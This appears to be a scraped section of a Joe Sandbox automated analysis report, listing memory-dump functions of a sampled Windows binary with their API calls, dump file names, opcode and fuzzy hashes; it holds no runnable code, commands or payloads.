___delayLoadHelper2@8.DELAYIMP ref: 00D3F556

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6ba9a69d6b9736b58ef950df77a521707c7d66365c38218426775be86b7ce30c
Instruction ID: e6787d500398f43bc7d4420e4fb2495e109a7d17f4d891e75e41179997a6f75f
Opcode Fuzzy Hash: 6ba9a69d6b9736b58ef950df77a521707c7d66365c38218426775be86b7ce30c
Instruction Fuzzy Hash: 88A011C2AE80083E32082B20BE03E3A020EC0C0B22B30803AF880C0080A8808E082030

Function 00D3F564 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F556

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 29bf91c4c58ceb88c6eef04d5a76feadaa09da24b3e8876f2784906ec8eed6a4
Instruction ID: 0a85baf66ddcc3c5cdfaec06e6c26438fa4ecd2851e87aee099dcba0cae9201f
Opcode Fuzzy Hash: 29bf91c4c58ceb88c6eef04d5a76feadaa09da24b3e8876f2784906ec8eed6a4
Instruction Fuzzy Hash: 18A011C2AE800ABE32082320BC03E3A020CC0C8BA2B30883AF882C0080A8808C082030

Function 00D3F56E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F556

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 42380b61a9e0bebec35db56e2d2b367625016ef40f80f523480b63a439ad2718
Instruction ID: 0a85baf66ddcc3c5cdfaec06e6c26438fa4ecd2851e87aee099dcba0cae9201f
Opcode Fuzzy Hash: 42380b61a9e0bebec35db56e2d2b367625016ef40f80f523480b63a439ad2718
Instruction Fuzzy Hash: 18A011C2AE800ABE32082320BC03E3A020CC0C8BA2B30883AF882C0080A8808C082030

Function 00D3F6D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F6AB

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 207cb7d870beb368ee9c10abfe77fff5fcdeaa419218f0711b1c333992dda7d7
Instruction ID: d2bcf2310d99ec6dc88b2af3ae1c2a26655f1c6a5fa038ad159e3aff0856a101
Opcode Fuzzy Hash: 207cb7d870beb368ee9c10abfe77fff5fcdeaa419218f0711b1c333992dda7d7
Instruction Fuzzy Hash: A0A011C2AB800ABC3A0823202C03E3A020CC0C8B22B308A3AFC82C0080A8800C080A30

Function 00D3F6CD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F6AB

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2779990794d37d9a6932be59ba34bdf22fdbab2768d8f6b2a94a786339f46639
Instruction ID: d2bcf2310d99ec6dc88b2af3ae1c2a26655f1c6a5fa038ad159e3aff0856a101
Opcode Fuzzy Hash: 2779990794d37d9a6932be59ba34bdf22fdbab2768d8f6b2a94a786339f46639
Instruction Fuzzy Hash: A0A011C2AB800ABC3A0823202C03E3A020CC0C8B22B308A3AFC82C0080A8800C080A30

Function 00D3F6F5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F6AB

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e6d29ae518465ea6a715b47fa6391c1b8cdc60b6bbba1ba23fcdbf6ff0583431
Instruction ID: d2bcf2310d99ec6dc88b2af3ae1c2a26655f1c6a5fa038ad159e3aff0856a101
Opcode Fuzzy Hash: e6d29ae518465ea6a715b47fa6391c1b8cdc60b6bbba1ba23fcdbf6ff0583431
Instruction Fuzzy Hash: A0A011C2AB800ABC3A0823202C03E3A020CC0C8B22B308A3AFC82C0080A8800C080A30

Function 00D3F6FF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F70C

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e90bed59ae9ac04f51ca21b2f453e4971fa28e9a4fb87baf41dd7425887e7aee
Instruction ID: 0a6b2a1aa2ca6aaf5a53f5fc94f045bf0f8ccd953fd0bc8d739327f7c0347f13
Opcode Fuzzy Hash: e90bed59ae9ac04f51ca21b2f453e4971fa28e9a4fb87baf41dd7425887e7aee
Instruction Fuzzy Hash: 76A002D6AB920BBD361867617D97E3F261DD8D0F36B34893EFC81D4081A8805E8D5531

Function 00D3F6E1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F6AB

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 41efd5b53fe97ad98cf569b305854ed9d51fb5a7dd00718db130c66500673517
Instruction ID: d2bcf2310d99ec6dc88b2af3ae1c2a26655f1c6a5fa038ad159e3aff0856a101
Opcode Fuzzy Hash: 41efd5b53fe97ad98cf569b305854ed9d51fb5a7dd00718db130c66500673517
Instruction Fuzzy Hash: A0A011C2AB800ABC3A0823202C03E3A020CC0C8B22B308A3AFC82C0080A8800C080A30

Function 00D3F6EB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F6AB

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8ff8ffd219aa3412604b62d421f46b21d70132539cb8f27aeef52a8ece6f3810
Instruction ID: d2bcf2310d99ec6dc88b2af3ae1c2a26655f1c6a5fa038ad159e3aff0856a101
Opcode Fuzzy Hash: 8ff8ffd219aa3412604b62d421f46b21d70132539cb8f27aeef52a8ece6f3810
Instruction Fuzzy Hash: A0A011C2AB800ABC3A0823202C03E3A020CC0C8B22B308A3AFC82C0080A8800C080A30

Function 00D3F71A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F70C

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5e642eb7e81cea17ab37277cb9f7f53e21d0c9167eb1ccb1cd16c3f6a4196497
Instruction ID: a6b97e210f4fe88565a68d227eac86a0bda4811cb1847101ed4a998f270a8c43
Opcode Fuzzy Hash: 5e642eb7e81cea17ab37277cb9f7f53e21d0c9167eb1ccb1cd16c3f6a4196497
Instruction Fuzzy Hash: A9A002D6ABD20BBD361867617D57E3F261DC8D4F62B348D3EFC82C4081A8805E8D5531

Function 00D3F72E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F70C

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5dcc91715b873cee8523d7cbbf4905c75fd28368aed419df5645eaed3062590d
Instruction ID: a6b97e210f4fe88565a68d227eac86a0bda4811cb1847101ed4a998f270a8c43
Opcode Fuzzy Hash: 5dcc91715b873cee8523d7cbbf4905c75fd28368aed419df5645eaed3062590d
Instruction Fuzzy Hash: A9A002D6ABD20BBD361867617D57E3F261DC8D4F62B348D3EFC82C4081A8805E8D5531

Function 00D3BC19 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00D3BFF6,00D71890,00000000,00D72892,00000006), ref: 00D3BC1D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: ef7818ba8e1b083764f2e034561ffd1e12c4cfbf89e2f410792c7583239cc937
Instruction ID: 29daa92f15668447b89f393f9cad7a022fb47b9fec68f2f1280513bed228b547
Opcode Fuzzy Hash: ef7818ba8e1b083764f2e034561ffd1e12c4cfbf89e2f410792c7583239cc937
Instruction Fuzzy Hash: BEA012311007008782000B318F0590E76656F61641F00C0246400C0130D73088A0A511

Function 00D2A880 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,00D2A83D,?,?,?,?,?,00D5380F,000000FF), ref: 00D2A89B

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 2502e4f824ee7ddd4e50b83e54935f08091dc536bb20d32e69f7250c9dbf8f0b
Instruction ID: 5a8b2f6b54921d3d78c33d07c1a81d9a3ecb166367059b290f7cf34c08cb7629
Opcode Fuzzy Hash: 2502e4f824ee7ddd4e50b83e54935f08091dc536bb20d32e69f7250c9dbf8f0b
Instruction Fuzzy Hash: 04F08931485B259FDB348A28D448792F7E4EB21329F181B5ED0E2439E5D371658E8A71

Non-executed Functions

Function 00D3D420 Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 233windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D212F6: GetDlgItem.USER32(00000000,00003021), ref: 00D2133A
Part of subcall function 00D212F6: SetWindowTextW.USER32(00000000,00D545F4), ref: 00D21350

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00D3D4B1
EndDialog.USER32(?,00000006), ref: 00D3D4C4
GetDlgItem.USER32(?,0000006C), ref: 00D3D4E0
SetFocus.USER32(00000000), ref: 00D3D4E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00D3D521
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00D3D558
FindFirstFileW.KERNEL32(?,?), ref: 00D3D56E

Part of subcall function 00D3BC2B: FileTimeToSystemTime.KERNEL32(?,?), ref: 00D3BC3F
Part of subcall function 00D3BC2B: SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00D3BC50
Part of subcall function 00D3BC2B: SystemTimeToFileTime.KERNEL32(?,?), ref: 00D3BC5E
Part of subcall function 00D3BC2B: FileTimeToSystemTime.KERNEL32(?,?), ref: 00D3BC6C
Part of subcall function 00D3BC2B: GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00D3BC87
Part of subcall function 00D3BC2B: GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032), ref: 00D3BCAE
Part of subcall function 00D3BC2B: _swprintf.LIBCMT ref: 00D3BCD4

_swprintf.LIBCMT ref: 00D3D5B7

Part of subcall function 00D24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D24A33

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00D3D5CA
FindClose.KERNEL32(00000000), ref: 00D3D5D1
_swprintf.LIBCMT ref: 00D3D620
SetDlgItemTextW.USER32(?,00000068,?), ref: 00D3D633
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00D3D650
_swprintf.LIBCMT ref: 00D3D683
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00D3D696
_swprintf.LIBCMT ref: 00D3D6E0
SetDlgItemTextW.USER32(?,00000069,?), ref: 00D3D6F3

Part of subcall function 00D3C093: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00D3C0B9
Part of subcall function 00D3C093: GetNumberFormatW.KERNEL32(00000400,00000000,?,00D6072C,?,?), ref: 00D3C108

Strings

REPLACEFILEDLG, xrefs: 00D3D447
%s %s, xrefs: 00D3D5A4, 00D3D5B0, 00D3D616, 00D3D679, 00D3D6D6

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Item$Time$Text$_swprintf$FileSystem$FormatMessageSend$Find$CloseDateDialogFirstFocusInfoLocalLocaleNumberSpecificWindow__vswprintf_c_l
String ID: %s %s$REPLACEFILEDLG
API String ID: 3464475507-439456425
Opcode ID: 3bb144ff41a5e18dde49a838d6759aa1222643c699a257309971cb7e07a92be9
Instruction ID: 684cadbab2dcd905468883ac2f22adbc888683035205798b9056d3d51fffd32a
Opcode Fuzzy Hash: 3bb144ff41a5e18dde49a838d6759aa1222643c699a257309971cb7e07a92be9
Instruction Fuzzy Hash: 8E71C772548308BBE631ABA4EC4AFFF77ADEB86704F040819F649D2191D671A9048B73

Function 00D40A0A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00D40A16
IsDebuggerPresent.KERNEL32 ref: 00D40AE2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D40B02
UnhandledExceptionFilter.KERNEL32(?), ref: 00D40B0C

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
